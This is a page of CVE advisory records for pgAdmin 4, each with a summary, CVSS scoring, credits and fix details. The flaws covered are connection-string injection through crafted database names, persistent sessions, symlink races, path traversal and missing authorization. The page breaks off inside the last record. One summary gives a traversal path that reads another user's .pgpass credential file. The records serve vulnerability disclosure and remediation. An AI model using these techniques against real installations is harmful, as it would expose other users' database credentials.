Refine your search
56 vulnerabilities found for by pgadmin.org
CVE-2026-116252 (GCVE-0-2026-116252)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's materialized view refresh passed the target database's name to psql's --dbname argument unchanged. libpq treats a --dbname value containing "=" (or a postgresql:// URI) as a full connection string, whose keywords override the host, port and other settings pgAdmin had supplied. A database whose name is such a string, which any role with CREATEDB can create, therefore redirected the psql process pgAdmin starts for the refresh to a host and port of the creator's choosing, and the connecting user's saved server password was presented to that endpoint. It also let the pgAdmin host be made to open connections to arbitrary addresses.
The same weakness was fixed for Backup, Restore, Maintenance and Import/Export Data in earlier releases (CVE-2026-86862); the materialized view refresh was the remaining caller. The fix routes the name through the same database_conninfo() helper, so libpq treats it strictly as a database name.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Materialized Views"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/databases/schemas/views/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "\ubc30\uc2b9\uc6d0 (Bae Seung-won), Ajou University (@baeseungwon1010) \u003cqotmddnjs@ajou.ac.kr\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s materialized view refresh passed the target database\u0027s name to psql\u0027s --dbname argument unchanged. libpq treats a --dbname value containing \"=\" (or a postgresql:// URI) as a full connection string, whose keywords override the host, port and other settings pgAdmin had supplied. A database whose name is such a string, which any role with CREATEDB can create, therefore redirected the psql process pgAdmin starts for the refresh to a host and port of the creator\u0027s choosing, and the connecting user\u0027s saved server password was presented to that endpoint. It also let the pgAdmin host be made to open connections to arbitrary addresses.\n\nThe same weakness was fixed for Backup, Restore, Maintenance and Import/Export Data in earlier releases (CVE-2026-86862); the materialized view refresh was the remaining caller. The fix routes the name through the same database_conninfo() helper, so libpq treats it strictly as a database name.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same threat model and vector as CVE-2026-86862, of which this is the remaining caller. The attacker needs a database role with CREATEDB on a server another pgAdmin user connects to, and that user must refresh a materialized view in that database; no other precondition applies, so Attack Complexity is Low. Confidentiality is High because the victim\u0027s saved server password is sent to the attacker\u0027s endpoint. Integrity and Availability are None. Scope is Unchanged, as for CVE-2026-86862: the credential is captured from the user\u0027s own connection rather than a different authority being exercised."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:N because no condition outside the attacker\u0027s control is needed beyond the victim using the feature. VC:H for the captured password; no subsequent-system impact is claimed from the flaw itself."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-88",
"description": "CWE-88 Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:20.208Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10645"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/a1a43e8c28cf10cec73df0c476905562d19af483"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Materialized view refresh redirects its connection through a crafted database name"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116252",
"datePublished": "2026-10-30T19:55:20.208Z",
"dateReserved": "2026-10-25T16:26:16.420Z",
"dateUpdated": "2026-10-30T19:55:20.208Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116251 (GCVE-0-2026-116251)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
4.2 (Medium) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
2.3 (Low) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
2.3 (Low) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
- CWE-613 - Insufficient Session Expiration
Summary
pgAdmin 4 did not invalidate a user's existing sessions when their password changed, either through the user's own change password dialog or through an administrator resetting it in User Management. A session established before the change, for example on another device or by someone who had obtained the old password or a session cookie, therefore stayed logged in after the change, which is the step a user or administrator takes precisely to cut such access off. It remained usable until it expired.
The fix rotates the user's session identifier (fs_uniquifier) whenever the password is changed, so every other session of that user is logged out. The session that made the change is logged in again and keeps its database connections. Saved server passwords, including those for shared servers, are re-encrypted under the new key; any that cannot be decrypted are cleared and the user is told. If re-encryption fails, the sessions are still revoked and the saved passwords are cleared rather than the change failing.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Authentication",
"User Management"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/user_management/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Zohaib \u003cofficialzohaib84@gmail.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4 did not invalidate a user\u0027s existing sessions when their password changed, either through the user\u0027s own change password dialog or through an administrator resetting it in User Management. A session established before the change, for example on another device or by someone who had obtained the old password or a session cookie, therefore stayed logged in after the change, which is the step a user or administrator takes precisely to cut such access off. It remained usable until it expired.\n\nThe fix rotates the user\u0027s session identifier (fs_uniquifier) whenever the password is changed, so every other session of that user is logged out. The session that made the change is logged in again and keeps its database connections. Saved server passwords, including those for shared servers, are re-encrypted under the new key; any that cannot be decrypted are cleared and the user is told. If re-encryption fails, the sessions are still revoked and the saved passwords are cleared rather than the change failing.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "The attacker must already hold a live session of the victim, obtained separately (a stolen session cookie or a known old password), so Attack Complexity is High and Privileges Required is Low. The flaw gives no capability the attacker did not already have; it only lets that access persist after the victim\u0027s password change until the session expires, so Confidentiality and Integrity are Low and Availability is None. Scope is Unchanged: the access is the victim\u0027s own pgAdmin account."
}
]
},
{
"cvssV4_0": {
"baseScore": 2.3,
"baseSeverity": "LOW",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P because a session must have been obtained beforehand by other means. VC:L/VI:L for continued access to the victim\u0027s account; no subsequent-system impact."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-613",
"description": "CWE-613 Insufficient Session Expiration",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:19.613Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10646"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/67eab1ba891d24209eb0d4bac050dcc8068d93b7"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: A user\u0027s other sessions survive a change of their password"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116251",
"datePublished": "2026-10-30T19:55:19.613Z",
"dateReserved": "2026-10-25T16:26:16.420Z",
"dateUpdated": "2026-10-30T19:55:19.613Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116250 (GCVE-0-2026-116250)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
6.5 (Medium) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
7.3 (High) - CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
7.3 (High) - CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
In server mode pgAdmin 4 validates a path a user gives for a file in their storage directory with check_access_permission() and then opened it by name. Several places opened it with a plain open() or handed the path to a utility that opened it later: the servers.json export and import and the import file listing, and the files given to pg_dump, pg_dumpall, pg_restore and psql by Backup, Restore and Import/Export Data. A symbolic link swapped in at the file or at any parent directory between the check and the open redirected the operation outside the storage directory, so a file could be written, overwritten or read, or loaded into a table, as the operating-system account running pgAdmin. A hard link to an outside file, which O_NOFOLLOW does not detect, and a FIFO, which could hang a request, had the same effect. CVE-2026-86861 fixed this for the File Manager's save_file; these were the remaining paths.
Exploitation requires creating such a link or FIFO inside the user's storage directory. pgAdmin offers no way to do so, and the per-user storage directories belong to the pgAdmin account, so this requires write access to the storage backend as a different operating-system user, for example a shared or network-mounted storage directory, and winning the race.
The fix opens each file by walking down from the storage directory one component at a time with O_NOFOLLOW, accepting only a regular file with one link, and passes the utilities the open descriptor (/dev/fd/N) on Linux. Error messages no longer include the server path.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"File Manager",
"Import/Export Servers",
"Backup",
"Restore",
"Import/Export Data"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/file_manager/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/import_export_servers/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "MUTED CYBERSECURITY S.L. \u003ccybersec@mut3dcybersecurity.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In server mode pgAdmin 4 validates a path a user gives for a file in their storage directory with check_access_permission() and then opened it by name. Several places opened it with a plain open() or handed the path to a utility that opened it later: the servers.json export and import and the import file listing, and the files given to pg_dump, pg_dumpall, pg_restore and psql by Backup, Restore and Import/Export Data. A symbolic link swapped in at the file or at any parent directory between the check and the open redirected the operation outside the storage directory, so a file could be written, overwritten or read, or loaded into a table, as the operating-system account running pgAdmin. A hard link to an outside file, which O_NOFOLLOW does not detect, and a FIFO, which could hang a request, had the same effect. CVE-2026-86861 fixed this for the File Manager\u0027s save_file; these were the remaining paths.\n\nExploitation requires creating such a link or FIFO inside the user\u0027s storage directory. pgAdmin offers no way to do so, and the per-user storage directories belong to the pgAdmin account, so this requires write access to the storage backend as a different operating-system user, for example a shared or network-mounted storage directory, and winning the race.\n\nThe fix opens each file by walking down from the storage directory one component at a time with O_NOFOLLOW, accepting only a regular file with one link, and passes the utilities the open descriptor (/dev/fd/N) on Linux. Error messages no longer include the server path.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "LOW",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an operating-system user other than the pgAdmin service account who can write into a storage directory pgAdmin uses (a shared or network-mounted storage backend), and who also has, or works with, a pgAdmin account using it. An attacker with access to the host as the service account gains nothing from this flaw, so the Attack Vector is Local. Attack Complexity is High: the link must be planted and a race between the check and the open won. Confidentiality and Integrity are High because a file readable or writable by the pgAdmin account can be read (including loaded into a table) or overwritten; Availability is Low for a clobbered file or a hung request. Scope is Unchanged: the operations run with the authority pgAdmin already holds."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the race and for the write access to the storage backend obtained outside pgAdmin. VC:H/VI:H/VA:L as above; no subsequent-system impact."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-367",
"description": "CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-59",
"description": "CWE-59 Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:18.713Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10647"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/99f5606e2ebc7c94c7acdbab877ce7de54bfc756"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/c4321b9968342716f34bc5f10de6cac3c0567e68"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/730d1e783c339ec696a1f77f2eee6f4b52cb6c37"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Files opened in a storage directory follow a symbolic link, hard link or FIFO planted after the containment check"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116250",
"datePublished": "2026-10-30T19:55:18.713Z",
"dateReserved": "2026-10-25T16:26:16.420Z",
"dateUpdated": "2026-10-30T19:55:18.713Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116249 (GCVE-0-2026-116249)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
8.4 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
7.2 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:N
7.2 (High) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
In server mode pgAdmin 4 resolves a server's password file, SSL certificate, key, CRL and SSH tunnel identity file relative to the user's storage directory, but get_complete_file_path() only stripped leading slashes before joining the two. A path such as "../<another user>/.pgpass", set through the server dialog, the REST API or a servers.json import, therefore named another user's file, and connecting used that user's saved passwords, client certificate or SSH key. The sslkeylogfile connection parameter was passed to libpq unchanged, so a path outside storage let libpq create or append a file as the account running pgAdmin.
make_conninfo() also quoted connection parameter values but not their names, so a crafted parameter name could smuggle additional keyword=value pairs past these checks.
The fix requires the resolved path, with symbolic links followed, to stay inside the user's storage directory or the named shared storage directory, confines sslkeylogfile the same way, and accepts only exact libpq keywords as connection parameter names. A refused path or keyword is reported instead of letting libpq fall back to a default.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Servers",
"Import/Export Servers"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/server_manager.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In server mode pgAdmin 4 resolves a server\u0027s password file, SSL certificate, key, CRL and SSH tunnel identity file relative to the user\u0027s storage directory, but get_complete_file_path() only stripped leading slashes before joining the two. A path such as \"../\u003canother user\u003e/.pgpass\", set through the server dialog, the REST API or a servers.json import, therefore named another user\u0027s file, and connecting used that user\u0027s saved passwords, client certificate or SSH key. The sslkeylogfile connection parameter was passed to libpq unchanged, so a path outside storage let libpq create or append a file as the account running pgAdmin.\n\nmake_conninfo() also quoted connection parameter values but not their names, so a crafted parameter name could smuggle additional keyword=value pairs past these checks.\n\nThe fix requires the resolved path, with symbolic links followed, to stay inside the user\u0027s storage directory or the named shared storage directory, confines sslkeylogfile the same way, and accepts only exact libpq keywords as connection parameter names. A refused path or keyword is reported instead of letting libpq fall back to a default.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can register a server. Attack Complexity is High: the victim must keep such a file in their storage directory, and the attacker must know its name and a host and role it is accepted for. Scope is Changed because the connection is made to a database server with another user\u0027s credentials, an authority the attacker was never given; Confidentiality and Integrity are High for that access. Availability is Low for the file sslkeylogfile can create or append to outside storage."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AT:P for the victim\u0027s file and its name, which the attacker does not control. VC:H for the credential read through pgAdmin, VI:L/VA:L for the sslkeylogfile write; SC:H/SI:H for the database server reached with the other user\u0027s identity."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-73",
"description": "CWE-73 External Control of File Name or Path",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:18.121Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10650"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/2afe505ef4a31591796449d54ab1604355ff06c2"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: Connection file paths and parameter keys escape the user\u0027s storage directory"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116249",
"datePublished": "2026-10-30T19:55:18.121Z",
"dateReserved": "2026-10-25T16:26:16.420Z",
"dateUpdated": "2026-10-30T19:55:18.121Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-116248 (GCVE-0-2026-116248)
Vulnerability from cvelistv5
Published
2026-10-30 19:55
Modified
2026-10-30 19:55
Severity ?
6.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
6.0 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N
6.0 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
- CWE-862 - Missing Authorization
Summary
In pgAdmin 4 server mode only administrators are meant to share a server with all users; the server dialog shows the Shared switch only to them. The create and update endpoints of the server API, however, stored the "shared" flag and shared username they were sent, so any user able to register a server could share one with every other user. The servers.json import had a similar gap: a non-administrator's "Shared" entries were removed only after validation, so a file that also held an invalid entry could create a shared server.
A shared server carries no credentials, so this gives no direct access. It lets a user plant a server, named to look trusted, in every other user's tree and pointing at a host the user controls; anyone who then connects to it presents their own database password to that host.
The fix refuses a non-administrator's request that would share a server with HTTP 403, prunes a non-administrator's shared entries from a servers.json import before validating it, and warns at startup about servers shared earlier by non-administrators.
This issue affects pgAdmin 4: before 9.19.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.19 |
{
"containers": {
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Servers",
"Import/Export Servers"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.19",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"datePublic": "2026-10-29T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "In pgAdmin 4 server mode only administrators are meant to share a server with all users; the server dialog shows the Shared switch only to them. The create and update endpoints of the server API, however, stored the \"shared\" flag and shared username they were sent, so any user able to register a server could share one with every other user. The servers.json import had a similar gap: a non-administrator\u0027s \"Shared\" entries were removed only after validation, so a file that also held an invalid entry could create a shared server.\n\nA shared server carries no credentials, so this gives no direct access. It lets a user plant a server, named to look trusted, in every other user\u0027s tree and pointing at a host the user controls; anyone who then connects to it presents their own database password to that host.\n\nThe fix refuses a non-administrator\u0027s request that would share a server with HTTP 403, prunes a non-administrator\u0027s shared entries from a servers.json import before validating it, and warns at startup about servers shared earlier by non-administrators.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Any authenticated user who can register a server. User Interaction is Required: another user must connect to the planted server. Scope is Changed because what is captured is the other user\u0027s credential for their own database servers; Confidentiality is High for that credential. Integrity is None (the planted entry only alters what other users see) and Availability is None."
}
]
},
{
"cvssV4_0": {
"baseScore": 6,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. UI:A because the victim must actively connect. VI:L for the planted entry in other users\u0027 trees, SC:H for the other user\u0027s database credentials captured for use elsewhere."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:17.531Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
